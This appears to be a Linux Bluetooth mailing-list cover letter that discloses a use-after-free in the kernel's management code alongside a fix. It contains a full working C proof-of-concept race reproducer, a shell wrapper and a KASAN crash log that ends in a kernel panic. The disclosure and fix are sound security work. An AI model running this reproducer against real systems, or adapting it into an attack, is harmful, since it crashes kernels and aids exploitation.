Linux bluetooth development
 help / color / mirror / Atom feed
* [PATCH 0/1] Bluetooth: fix pending command UAF in EIR updates
@ 2026-07-23 16:43 Ren Wei
  2026-07-23 16:43 ` [PATCH 1/1] Bluetooth: mgmt: " Ren Wei
  2026-07-24 19:00 ` [PATCH 0/1] " patchwork-bot+bluetooth
  0 siblings, 2 replies; 4+ messages in thread
From: Ren Wei @ 2026-07-23 16:43 UTC (permalink / raw)
  To: linux-bluetooth; +Cc: marcel, luiz.dentz, dmantipov, vega, zihanx, enjou1224z

From: Zihan Xi <zihanx@nebusec.ai>

Hi Linux kernel maintainers,

We found and validated a bug in net/bluetooth/mgmt.c. The bug is
reachable by a root process via the Bluetooth management control socket
and a virtual HCI controller created through /dev/vhci. We've tested the
fix with the reproducer, and it should not affect other management
commands.

This series contains one patch:
  1/1 Bluetooth: mgmt: fix pending command UAF in EIR updates

We provide bug details, reproducer steps, and a crash log below.

---- details below ----

Bug details:

MGMT_OP_SET_LOCAL_NAME is handled asynchronously on powered controllers
and can run set_name_sync(). On a BR/EDR capable controller,
set_name_sync() updates the local name and then calls
hci_update_eir_sync(), which rebuilds EIR data. The EIR generation path
walks hdev->uuids while UUID management commands can add or remove
entries.

The helper pending_eir_or_class() is intended to serialize management
commands that can affect EIR or the class of device. However, it did not
include MGMT_OP_SET_LOCAL_NAME, so a powered local-name update could run
together with ADD_UUID or REMOVE_UUID. In addition,
pending_eir_or_class() walked hdev->mgmt_pending without holding
hdev->mgmt_pending_lock, although pending commands are added and removed
under that mutex. A command completion can therefore remove and free a
pending command while another thread is still inspecting it.

The patch takes hdev->mgmt_pending_lock while scanning hdev->mgmt_pending
and treats MGMT_OP_SET_LOCAL_NAME as an EIR/class-affecting command on
the powered asynchronous path. The busy check is done before copying the
new short name, so a rejected SET_LOCAL_NAME request does not modify
hdev->short_name.

The EIR/local-name serialization gap predates the hci_sync conversion.
For this UAF, the suitable stable/backport anchor is 6fe26f694c82,
which introduced hdev->mgmt_pending_lock and made the pending-command
list locking contract explicit while leaving pending_eir_or_class() as
an unlocked walker of the same list.

Reproducer:

  Host:
    gcc -O2 -g -Wall -Wextra -pthread -static -Icompat \
        -include endian.h -o poc.static poc.c -pthread
    make O=/var/cache/linux-patch/fix-bluetooth-eir-uaf-q7c-build \
        -j32 bzImage
    qemu-start-kernel.sh /var/cache/linux-patch/fix-bluetooth-eir-uaf-q7c \
        -r /mnt/d/WSL/ubuntu-home-lenovo/kernel-image

  Guest:
    cp poc.static /root/poc
    cp poc.sh /root/poc.sh
    chmod +x /root/poc /root/poc.sh
    /root/poc.sh 512 180

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

The stack trace below was decoded from the original QEMU log before
being inserted here.

------BEGIN poc.sh------

#!/bin/sh
set -eu

COUNT="${1:-512}"
DURATION="${2:-180}"

echo 0 > /proc/sys/kernel/panic_on_warn
dmesg -C || true

exec /root/poc "$COUNT" "$DURATION"

------END poc.sh--------

------BEGIN poc.c------

#define _GNU_SOURCE

#include <arpa/inet.h>
#include <bluetooth/bluetooth.h>
#include <bluetooth/hci.h>
#include <errno.h>
#include <fcntl.h>
#include <poll.h>
#include <pthread.h>
#include <signal.h>
#include <stdarg.h>
#include <stdbool.h>
#include <stdint.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/ioctl.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <time.h>
#include <unistd.h>

#define MGMT_OP_SET_POWERED        0x0005
#define MGMT_OP_SET_SSP            0x000b
#define MGMT_OP_SET_LOCAL_NAME     0x000f
#define MGMT_OP_ADD_UUID           0x0010
#define MGMT_OP_REMOVE_UUID        0x0011

#define MGMT_EV_CMD_COMPLETE       0x0001
#define MGMT_EV_CMD_STATUS         0x0002
#define MGMT_EV_INDEX_ADDED        0x0004

#define MGMT_STATUS_SUCCESS        0x00
#define MGMT_STATUS_BUSY           0x0a
#define MGMT_STATUS_INVALID_PARAMS 0x0d

#define MGMT_MAX_NAME_LENGTH       249
#define MGMT_MAX_SHORT_NAME_LENGTH 11

#define HCI_EV_CMD_COMPLETE        0x0e
#define HCI_OP_SET_EVENT_MASK      0x0c01
#define HCI_OP_RESET               0x0c03
#define HCI_OP_SET_EVENT_FLT       0x0c05
#define HCI_OP_WRITE_LOCAL_NAME    0x0c13
#define HCI_OP_READ_LOCAL_NAME     0x0c14
#define HCI_OP_WRITE_CA_TIMEOUT    0x0c16
#define HCI_OP_READ_STORED_LINK_KEY 0x0c0d
#define HCI_OP_WRITE_SCAN_ENABLE   0x0c1a
#define HCI_OP_WRITE_AUTH_ENABLE   0x0c20
#define HCI_OP_READ_CLASS_OF_DEV   0x0c23
#define HCI_OP_WRITE_CLASS_OF_DEV  0x0c24
#define HCI_OP_READ_VOICE_SETTING  0x0c25
#define HCI_OP_READ_NUM_SUPPORTED_IAC 0x0c38
#define HCI_OP_READ_CURRENT_IAC_LAP   0x0c39
#define HCI_OP_WRITE_INQUIRY_MODE  0x0c45
#define HCI_OP_WRITE_EIR           0x0c52
#define HCI_OP_WRITE_SSP_MODE      0x0c56
#define HCI_OP_READ_INQ_RSP_TX_POWER 0x0c58
#define HCI_OP_READ_LOCAL_VERSION  0x1001
#define HCI_OP_READ_LOCAL_COMMANDS 0x1002
#define HCI_OP_READ_LOCAL_FEATURES 0x1003
#define HCI_OP_READ_LOCAL_EXT_FEATURES 0x1004
#define HCI_OP_READ_BUFFER_SIZE    0x1005
#define HCI_OP_READ_BD_ADDR        0x1009

#define DEFAULT_UUID_COUNT         512
#define DEFAULT_DURATION_SEC       60
#define NAME_THREADS              1
#define CTRL_PATH                  "/dev/vhci"

struct mgmt_hdr {
	uint16_t opcode;
	uint16_t index;
	uint16_t len;
} __attribute__((packed));

struct mgmt_mode {
	uint8_t val;
} __attribute__((packed));

struct mgmt_cp_set_local_name {
	uint8_t name[MGMT_MAX_NAME_LENGTH];
	uint8_t short_name[MGMT_MAX_SHORT_NAME_LENGTH];
} __attribute__((packed));

struct mgmt_cp_add_uuid {
	uint8_t uuid[16];
	uint8_t svc_hint;
} __attribute__((packed));

struct mgmt_cp_remove_uuid {
	uint8_t uuid[16];
} __attribute__((packed));

struct mgmt_ev_cmd_complete {
	uint16_t opcode;
	uint8_t status;
	uint8_t data[];
} __attribute__((packed));

struct mgmt_ev_cmd_status {
	uint16_t opcode;
	uint8_t status;
} __attribute__((packed));

struct hci_command_hdr_le {
	uint16_t opcode;
	uint8_t plen;
} __attribute__((packed));

struct hci_rp_read_local_version {
	uint8_t status;
	uint8_t hci_ver;
	uint16_t hci_rev;
	uint8_t lmp_ver;
	uint16_t manufacturer;
	uint16_t lmp_subver;
} __attribute__((packed));

struct hci_rp_read_bd_addr {
	uint8_t status;
	bdaddr_t bdaddr;
} __attribute__((packed));

struct hci_rp_read_local_features {
	uint8_t status;
	uint8_t features[8];
} __attribute__((packed));

struct hci_rp_read_local_commands {
	uint8_t status;
	uint8_t commands[64];
} __attribute__((packed));

struct hci_rp_read_stored_link_key {
	uint8_t status;
	uint16_t max_keys;
	uint16_t num_keys;
} __attribute__((packed));

struct hci_rp_read_buffer_size {
	uint8_t status;
	uint16_t acl_mtu;
	uint8_t sco_mtu;
	uint16_t acl_max_pkt;
	uint16_t sco_max_pkt;
} __attribute__((packed));

struct hci_rp_read_class_of_dev {
	uint8_t status;
	uint8_t dev_class[3];
} __attribute__((packed));

struct hci_rp_read_local_name {
	uint8_t status;
	uint8_t name[248];
} __attribute__((packed));

struct hci_rp_read_voice_setting {
	uint8_t status;
	uint16_t voice_setting;
} __attribute__((packed));

struct hci_rp_read_num_supported_iac {
	uint8_t status;
	uint8_t num_iac;
} __attribute__((packed));

struct hci_rp_read_current_iac_lap {
	uint8_t status;
	uint8_t num_iac;
	uint8_t lap[3];
} __attribute__((packed));

struct hci_rp_read_inq_rsp_tx_power {
	uint8_t status;
	int8_t tx_power;
} __attribute__((packed));

struct hci_rp_read_local_ext_features {
	uint8_t status;
	uint8_t page;
	uint8_t max_page;
	uint8_t features[8];
} __attribute__((packed));

static const uint8_t race_uuid[16] = {
	0x10, 0x32, 0x54, 0x76, 0x98, 0xba, 0xdc, 0xfe,
	0x11, 0x22, 0x33, 0x44, 0xaa, 0xbb, 0xcc, 0xdd,
};

static volatile sig_atomic_t stop_flag;
static int vhci_fd = -1;
static uint16_t hci_index = HCI_DEV_NONE;
static int uuid_count = DEFAULT_UUID_COUNT;
static int duration_sec = DEFAULT_DURATION_SEC;
static unsigned long name_cmd_seq;
static pthread_mutex_t log_lock = PTHREAD_MUTEX_INITIALIZER;

static void die(const char *fmt, ...)
{
	va_list ap;

	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
	exit(EXIT_FAILURE);
}

static void log_msg(const char *fmt, ...)
{
	va_list ap;

	pthread_mutex_lock(&log_lock);
	va_start(ap, fmt);
	vfprintf(stderr, fmt, ap);
	va_end(ap);
	fputc('\n', stderr);
	pthread_mutex_unlock(&log_lock);
}

static void set_timeouts(int fd)
{
	struct timeval tv = {
		.tv_sec = 2,
		.tv_usec = 0,
	};

	if (setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, &tv, sizeof(tv)) < 0)
		die("setsockopt(SO_RCVTIMEO): %s", strerror(errno));
}

static int open_mgmt_socket(void)
{
	struct sockaddr_hci addr;
	int fd;

	fd = socket(AF_BLUETOOTH, SOCK_RAW | SOCK_CLOEXEC, BTPROTO_HCI);
	if (fd < 0)
		die("socket(AF_BLUETOOTH): %s", strerror(errno));

	memset(&addr, 0, sizeof(addr));
	addr.hci_family = AF_BLUETOOTH;
	addr.hci_dev = HCI_DEV_NONE;
	addr.hci_channel = HCI_CHANNEL_CONTROL;

	if (bind(fd, (struct sockaddr *)&addr, sizeof(addr)) < 0)
		die("bind(HCI_CHANNEL_CONTROL): %s", strerror(errno));

	set_timeouts(fd);
	return fd;
}

static void drain_mgmt_socket(int fd)
{
	uint8_t buf[512];

	for (;;) {
		ssize_t n = read(fd, buf, sizeof(buf));

		if (n < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK)
				return;
			die("read(mgmt): %s", strerror(errno));
		}
	}
}

static int mgmt_cmd(int fd, uint16_t opcode, uint16_t index,
		    const void *data, uint16_t len)
{
	uint8_t buf[1024];
	struct mgmt_hdr *hdr = (struct mgmt_hdr *)buf;
	size_t off = 0;

	memset(buf, 0, sizeof(buf));

	hdr->opcode = htole16(opcode);
	hdr->index = htole16(index);
	hdr->len = htole16(len);
	off += sizeof(*hdr);

	if (len > 0) {
		memcpy(buf + off, data, len);
		off += len;
	}

	if (write(fd, buf, off) != (ssize_t)off)
		die("write(mgmt 0x%04x): %s", opcode, strerror(errno));

	for (;;) {
		ssize_t n = read(fd, buf, sizeof(buf));
		struct mgmt_hdr *ev_hdr;

		if (n < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK)
				return -ETIMEDOUT;
			die("read(mgmt response): %s", strerror(errno));
		}

		if ((size_t)n < sizeof(*ev_hdr))
			continue;

		ev_hdr = (struct mgmt_hdr *)buf;

		switch (le16toh(ev_hdr->opcode)) {
		case MGMT_EV_CMD_COMPLETE: {
			struct mgmt_ev_cmd_complete *cc;

			if (le16toh(ev_hdr->len) < sizeof(*cc))
				continue;
			cc = (struct mgmt_ev_cmd_complete *)(buf + sizeof(*ev_hdr));
			if (le16toh(cc->opcode) != opcode)
				continue;
			return cc->status ? -cc->status : 0;
		}
		case MGMT_EV_CMD_STATUS: {
			struct mgmt_ev_cmd_status *st;

			if (le16toh(ev_hdr->len) < sizeof(*st))
				continue;
			st = (struct mgmt_ev_cmd_status *)(buf + sizeof(*ev_hdr));
			if (le16toh(st->opcode) != opcode)
				continue;
			return st->status ? -st->status : 0;
		}
		default:
			break;
		}
	}
}

static void send_cc(int fd, uint16_t opcode, const void *rp, size_t rp_len)
{
	uint8_t buf[512];
	size_t len = 0;
	size_t off = 0;

	buf[len++] = HCI_EVENT_PKT;
	buf[len++] = HCI_EV_CMD_COMPLETE;
	buf[len++] = (uint8_t)(3 + rp_len);
	buf[len++] = 0x01;
	buf[len++] = opcode & 0xff;
	buf[len++] = opcode >> 8;
	if (rp_len > 0) {
		memcpy(buf + len, rp, rp_len);
		len += rp_len;
	}

	while (off < len) {
		ssize_t n = write(fd, buf + off, len - off);

		if (n > 0) {
			off += n;
			continue;
		}

		if (n < 0 && (errno == EAGAIN || errno == EWOULDBLOCK)) {
			struct pollfd pfd = {
				.fd = fd,
				.events = POLLOUT,
			};
			int ret = poll(&pfd, 1, 1000);

			if (ret == 0)
				die("poll(POLLOUT /dev/vhci): timed out");
			if (ret < 0 && errno != EINTR)
				die("poll(POLLOUT /dev/vhci): %s", strerror(errno));
			continue;
		}

		if (n < 0 && errno == EINTR)
			continue;

		die("write(vhci cmd complete): %s", strerror(errno));
	}
}

static void send_status_only(int fd, uint16_t opcode, uint8_t status)
{
	send_cc(fd, opcode, &status, sizeof(status));
}

static void handle_command_packet(const uint8_t *buf, size_t len)
{
	const struct hci_command_hdr_le *cmd;
	uint16_t opcode;

	if (len < 1 + sizeof(*cmd))
		return;

	if (buf[0] != HCI_COMMAND_PKT)
		return;

	cmd = (const struct hci_command_hdr_le *)(buf + 1);
	opcode = le16toh(cmd->opcode);

	switch (opcode) {
	case HCI_OP_RESET:
	case HCI_OP_SET_EVENT_MASK:
	case HCI_OP_SET_EVENT_FLT:
	case HCI_OP_WRITE_CA_TIMEOUT:
	case HCI_OP_WRITE_SSP_MODE:
	case HCI_OP_WRITE_AUTH_ENABLE:
	case HCI_OP_WRITE_INQUIRY_MODE:
	case HCI_OP_WRITE_EIR:
	case HCI_OP_WRITE_SCAN_ENABLE:
	case HCI_OP_WRITE_CLASS_OF_DEV:
		send_status_only(vhci_fd, opcode, 0x00);
		break;
	case HCI_OP_WRITE_LOCAL_NAME:
		__atomic_add_fetch(&name_cmd_seq, 1, __ATOMIC_RELAXED);
		usleep(100);
		send_status_only(vhci_fd, opcode, 0x00);
		break;
	case HCI_OP_READ_LOCAL_VERSION: {
		struct hci_rp_read_local_version rp = {
			.status = 0x00,
			.hci_ver = 0x09,
			.hci_rev = htole16(0x0001),
			.lmp_ver = 0x09,
			.manufacturer = htole16(0x000f),
			.lmp_subver = htole16(0x0001),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_BD_ADDR: {
		struct hci_rp_read_bd_addr rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		rp.bdaddr.b[0] = 0xbc;
		rp.bdaddr.b[1] = 0x9a;
		rp.bdaddr.b[2] = 0x78;
		rp.bdaddr.b[3] = 0x56;
		rp.bdaddr.b[4] = 0x34;
		rp.bdaddr.b[5] = 0x12;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_FEATURES: {
		struct hci_rp_read_local_features rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		rp.features[3] = LMP_RSSI_INQ;
		rp.features[6] = LMP_EXT_INQ | LMP_SIMPLE_PAIR;
		rp.features[7] = LMP_INQ_TX_PWR | LMP_EXT_FEAT;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_COMMANDS: {
		struct hci_rp_read_local_commands rp;

		memset(&rp, 0x00, sizeof(rp));
		rp.status = 0x00;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_STORED_LINK_KEY: {
		struct hci_rp_read_stored_link_key rp = {
			.status = 0x00,
			.max_keys = htole16(0),
			.num_keys = htole16(0),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_BUFFER_SIZE: {
		struct hci_rp_read_buffer_size rp = {
			.status = 0x00,
			.acl_mtu = htole16(1021),
			.sco_mtu = 64,
			.acl_max_pkt = htole16(8),
			.sco_max_pkt = htole16(8),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_CLASS_OF_DEV: {
		struct hci_rp_read_class_of_dev rp = {
			.status = 0x00,
			.dev_class = { 0x00, 0x00, 0x00 },
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_NAME: {
		struct hci_rp_read_local_name rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		memcpy(rp.name, "vhci-race", sizeof("vhci-race") - 1);
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_VOICE_SETTING: {
		struct hci_rp_read_voice_setting rp = {
			.status = 0x00,
			.voice_setting = htole16(0x0060),
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_NUM_SUPPORTED_IAC: {
		struct hci_rp_read_num_supported_iac rp = {
			.status = 0x00,
			.num_iac = 0x01,
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_CURRENT_IAC_LAP: {
		struct hci_rp_read_current_iac_lap rp = {
			.status = 0x00,
			.num_iac = 0x01,
			.lap = { 0x33, 0x8b, 0x9e },
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_INQ_RSP_TX_POWER: {
		struct hci_rp_read_inq_rsp_tx_power rp = {
			.status = 0x00,
			.tx_power = 0,
		};

		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	case HCI_OP_READ_LOCAL_EXT_FEATURES: {
		struct hci_rp_read_local_ext_features rp;

		memset(&rp, 0, sizeof(rp));
		rp.status = 0x00;
		rp.page = 0x01;
		rp.max_page = 0x01;
		send_cc(vhci_fd, opcode, &rp, sizeof(rp));
		break;
	}
	default:
		send_status_only(vhci_fd, opcode, 0x00);
		break;
	}
}

static void *controller_thread(void *unused)
{
	uint8_t buf[512];

	(void)unused;

	while (!stop_flag) {
		ssize_t n = read(vhci_fd, buf, sizeof(buf));

		if (n < 0) {
			if (errno == EAGAIN || errno == EWOULDBLOCK) {
				struct pollfd pfd = {
					.fd = vhci_fd,
					.events = POLLIN,
				};
				int ret = poll(&pfd, 1, 1000);

				if (ret < 0 && errno != EINTR)
					die("poll(POLLIN /dev/vhci): %s", strerror(errno));
				continue;
			}
			if (errno == EINTR)
				continue;
			die("read(/dev/vhci): %s", strerror(errno));
		}

		if (n == 0)
			continue;

		if (buf[0] == HCI_VENDOR_PKT && n >= 4) {
			hci_index = buf[2] | (buf[3] << 8);
			log_msg("vhci controller index: %u", hci_index);
			continue;
		}

		handle_command_packet(buf, n);
	}

	return NULL;
}

static void wait_for_hci_index(void)
{
	for (int i = 0; i < 100; i++) {
		if (hci_index != HCI_DEV_NONE)
			return;
		usleep(100000);
	}

	die("timed out waiting for vhci controller creation");
}

static void setup_controller_state(void)
{
	struct mgmt_mode on = { .val = 1 };
	int fd, err;

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);

	err = mgmt_cmd(fd, MGMT_OP_SET_SSP, hci_index, &on, sizeof(on));
	if (err)
		die("MGMT_OP_SET_SSP failed: %d", err);

	err = mgmt_cmd(fd, MGMT_OP_SET_POWERED, hci_index, &on, sizeof(on));
	if (err)
		die("MGMT_OP_SET_POWERED failed: %d", err);

	close(fd);
}

static void add_uuid_batch(void)
{
	struct mgmt_cp_add_uuid add;
	int fd;

	memset(&add, 0, sizeof(add));
	memcpy(add.uuid, race_uuid, sizeof(add.uuid));

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);

	for (int i = 0; i < uuid_count && !stop_flag; i++) {
		int err = mgmt_cmd(fd, MGMT_OP_ADD_UUID, hci_index,
				   &add, sizeof(add));

		if (err && err != -MGMT_STATUS_BUSY)
			die("MGMT_OP_ADD_UUID failed at %d: %d", i, err);
	}

	close(fd);
}

static void *name_thread(void *unused)
{
	struct mgmt_cp_set_local_name req;
	int fd, iter = 0;

	(void)unused;

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);

	memset(&req, 0, sizeof(req));

	while (!stop_flag) {
		int err;

		snprintf((char *)req.name, sizeof(req.name), "race-name-%08x", iter++);
		snprintf((char *)req.short_name, sizeof(req.short_name), "rn%06x",
			 iter);

		err = mgmt_cmd(fd, MGMT_OP_SET_LOCAL_NAME, hci_index,
			       &req, sizeof(req));
		if (err && err != -MGMT_STATUS_BUSY)
			log_msg("set_local_name returned %d", err);
	}

	close(fd);
	return NULL;
}

static void *mutator_thread(void *unused)
{
	struct mgmt_cp_add_uuid add;
	struct mgmt_cp_remove_uuid del;
	int fd;
	unsigned long seen;

	(void)unused;

	memset(&add, 0, sizeof(add));
	memset(&del, 0, sizeof(del));
	memcpy(add.uuid, race_uuid, sizeof(add.uuid));
	memcpy(del.uuid, race_uuid, sizeof(del.uuid));

	fd = open_mgmt_socket();
	drain_mgmt_socket(fd);
	seen = __atomic_load_n(&name_cmd_seq, __ATOMIC_RELAXED);

	while (!stop_flag) {
		while (!stop_flag) {
			unsigned long cur = __atomic_load_n(&name_cmd_seq,
							    __ATOMIC_RELAXED);

			if (cur != seen) {
				seen = cur;
				break;
			}

			usleep(50);
		}

		if (stop_flag)
			break;

		{
			int err = mgmt_cmd(fd, MGMT_OP_REMOVE_UUID, hci_index,
					   &del, sizeof(del));

			if (err && err != -MGMT_STATUS_BUSY &&
			    err != -MGMT_STATUS_INVALID_PARAMS)
				log_msg("remove_uuid returned %d", err);
		}

		for (int i = 0; i < uuid_count && !stop_flag; i++) {
			int err = mgmt_cmd(fd, MGMT_OP_ADD_UUID, hci_index,
					   &add, sizeof(add));

			if (err && err != -MGMT_STATUS_BUSY)
				log_msg("add_uuid returned %d at %d", err, i);
		}
	}

	close(fd);
	return NULL;
}

static void usage(const char *prog)
{
	fprintf(stderr, "Usage: %s [uuid_count] [duration_sec]\n", prog);
	exit(EXIT_FAILURE);
}

int main(int argc, char **argv)
{
	pthread_t ctrl, namer[NAME_THREADS], mutator;
	time_t end_time;

	if (argc > 3)
		usage(argv[0]);
	if (argc >= 2)
		uuid_count = atoi(argv[1]);
	if (argc == 3)
		duration_sec = atoi(argv[2]);
	if (uuid_count <= 0 || duration_sec <= 0)
		usage(argv[0]);

	signal(SIGPIPE, SIG_IGN);

	vhci_fd = open(CTRL_PATH, O_RDWR | O_CLOEXEC | O_NONBLOCK);
	if (vhci_fd < 0)
		die("open(%s): %s", CTRL_PATH, strerror(errno));

	if (pthread_create(&ctrl, NULL, controller_thread, NULL) != 0)
		die("pthread_create(controller_thread): %s", strerror(errno));

	wait_for_hci_index();
	setup_controller_state();

	log_msg("pre-filling %d UUIDs", uuid_count);
	add_uuid_batch();
	log_msg("prefill complete");

	for (int i = 0; i < NAME_THREADS; i++) {
		if (pthread_create(&namer[i], NULL, name_thread, NULL) != 0)
			die("pthread_create(name_thread): %s", strerror(errno));
	}
	if (pthread_create(&mutator, NULL, mutator_thread, NULL) != 0)
		die("pthread_create(mutator_thread): %s", strerror(errno));

	end_time = time(NULL) + duration_sec;
	while (!stop_flag && time(NULL) < end_time)
		sleep(1);

	stop_flag = 1;
	for (int i = 0; i < NAME_THREADS; i++)
		pthread_join(namer[i], NULL);
	pthread_join(mutator, NULL);
	pthread_cancel(ctrl);
	pthread_join(ctrl, NULL);
	close(vhci_fd);

	return 0;
}

------END poc.c--------

----BEGIN crash log----

[  731.804442][T10611] Oops: general protection fault, probably for non-canonical address 0xfbd59c0000000022: 0000 [#1] SMP KASAN NOPTI
[  731.806236][T10611] KASAN: maybe wild-memory-access in range [0xdead000000000110-0xdead000000000117]
[  731.807527][T10611] CPU: 2 UID: 0 PID: 10611 Comm: poc Not tainted 7.0.0-08308-g9e1e9d660255 #1 PREEMPT(full)
[  731.808802][T10611] Hardware name: QEMU Ubuntu 24.04 PC (i440FX + PIIX, 1996), BIOS 1.16.3-debian-1.16.3-2 04/01/2014
[  731.810176][T10611] RIP: 0010:add_uuid (net/bluetooth/mgmt.c:2704)
[  731.811002][T10611] Code: fc ff df eb 1a 48 89 d8 48 c1 e8 03 42 80 3c 38 00 0f 85 ba 03 00 00 48 8b 1b 48 39 d3 74 7a 48 8d 7b 10 48 89 f8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 74 08 3c 01 0f 8e 82 03 00 00 0f b7 43 10 66
[  731.813503][T10611] RSP: 0018:ffa000000a4d7ad8 EFLAGS: 00010216
[  731.814181][T10611] RAX: 1bd5a00000000022 RBX: dead000000000100 RCX: 0000000000034020
[  731.815019][T10611] RDX: ff1100010e0dd1e8 RSI: ffffffff8b0e9640 RDI: dead000000000110
[  731.815863][T10611] RBP: ff1100010be4804e R08: 0000000000000000 R09: fffffbfff21299a2
[  731.816694][T10611] R10: ffa000000a4d7ad8 R11: 0000000080000000 R12: ff110001103d0800
[  731.817527][T10611] R13: ff1100010e0dc000 R14: ff1100010e0dc058 R15: dffffc0000000000
[  731.818348][T10611] FS:  00007f83a86ce6c0(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[  731.819293][T10611] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  731.820006][T10611] CR2: 000055f56324dda4 CR3: 000000010b123000 CR4: 0000000000751ef0
[  731.820865][T10611] PKRU: 55555554
[  731.821262][T10611] Call Trace:
[  731.821627][T10611]  <TASK>
[  731.821946][T10611]  ? _raw_read_unlock (arch/x86/include/asm/preempt.h:104)
[  731.822581][T10611]  hci_sock_sendmsg (arch/x86/include/asm/bitops.h:202)
[  731.823137][T10611]  ? __pfx_hci_sock_sendmsg+0x10/0x10
[  731.823717][T10611]  ? __pfx_hci_sock_recvmsg+0x10/0x10
[  731.824293][T10611]  sock_write_iter (net/socket.c:1224)
[  731.824867][T10611]  ? __pfx_sock_write_iter+0x10/0x10
[  731.825450][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.826133][T10611]  ? security_file_permission (arch/x86/include/asm/jump_label.h:37)
[  731.826834][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.827438][T10611]  ? rw_verify_area (fs/read_write.c:462)
[  731.828011][T10611]  vfs_write (include/linux/percpu-rwsem.h:65)
[  731.828472][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.829074][T10611]  ? __pfx_vfs_write+0x10/0x10
[  731.829623][T10611]  ksys_write (fs/read_write.c:741)
[  731.830093][T10611]  ? __pfx_ksys_write+0x10/0x10
[  731.830623][T10611]  ? srso_alias_return_thunk (arch/x86/include/asm/nospec-branch.h:375)
[  731.831213][T10611]  ? rcu_is_watching (include/linux/context_tracking.h:128)
[  731.831841][T10611]  do_syscall_64 (include/linux/thread_info.h:142)
[  731.832372][T10611]  ? irqentry_exit (arch/x86/include/asm/processor.h:720)
[  731.832818][T10611]  entry_SYSCALL_64_after_hwframe (arch/x86/entry/entry_64.S:138)
[  731.833193][T10611] RIP: 0033:0x7f83a976e9ee
[  731.833503][T10611] Code: 08 0f 85 f5 4b ff ff 49 89 fb 48 89 f0 48 89 d7 48 89 ce 4c 89 c2 4d 89 ca 4c 8b 44 24 08 4c 8b 4c 24 10 4c 89 5c 24 08 0f 05 <c3> 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 80 00 00 00 00 48 83 ec 08
[  731.834714][T10611] RSP: 002b:00007f83a86cd988 EFLAGS: 00000246 ORIG_RAX: 0000000000000001
[  731.835239][T10611] RAX: ffffffffffffffda RBX: 00007f83a86ce6c0 RCX: 00007f83a976e9ee
[  731.835763][T10611] RDX: 0000000000000017 RSI: 00007f83a86cd9f0 RDI: 0000000000000005
[  731.836268][T10611] RBP: 00007f83a86cd9f0 R08: 0000000000000000 R09: 0000000000000000
[  731.836789][T10611] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000010
[  731.837294][T10611] R13: 0000000000000017 R14: 0000000000000010 R15: 00000000000000b0
[  731.837858][T10611]  </TASK>
[  731.838058][T10611] Modules linked in:
[  731.838587][T10611] ---[ end trace 0000000000000000 ]---
[  731.840804][T10611] RIP: 0010:add_uuid (net/bluetooth/mgmt.c:2704)
[  731.841164][T10611] Code: fc ff df eb 1a 48 89 d8 48 c1 e8 03 42 80 3c 38 00 0f 85 ba 03 00 00 48 8b 1b 48 39 d3 74 7a 48 8d 7b 10 48 89 f8 48 c1 e8 03 <42> 0f b6 04 38 84 c0 74 08 3c 01 0f 8e 82 03 00 00 0f b7 43 10 66
[  731.843673][T10611] RSP: 0018:ffa000000a4d7ad8 EFLAGS: 00010216
[  731.844417][T10611] RAX: 1bd5a00000000022 RBX: dead000000000100 RCX: 0000000000034020
[  731.845411][T10611] RDX: ff1100010e0dd1e8 RSI: ffffffff8b0e9640 RDI: dead000000000110
[  731.846480][T10611] RBP: ff1100010be4804e R08: 0000000000000000 R09: fffffbfff21299a2
[  731.847510][T10611] R10: ffa000000a4d7ad8 R11: 0000000080000000 R12: ff110001103d0800
[  731.848574][T10611] R13: ff1100010e0dc000 R14: ff1100010e0dc058 R15: dffffc0000000000
[  731.849732][T10611] FS:  00007f83a86ce6c0(0000) GS:ff11000184b68000(0000) knlGS:0000000000000000
[  731.850909][T10611] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  731.851823][T10611] CR2: 000055f56324dda4 CR3: 000000010b123000 CR4: 0000000000751ef0
[  731.852857][T10611] PKRU: 55555554
[  731.853343][T10611] Kernel panic - not syncing: Fatal exception
[  731.854585][T10611] Kernel Offset: disabled
[  731.855196][T10611] Rebooting in 86400 seconds..

-----END crash log-----

Best regards,
Zihan Xi

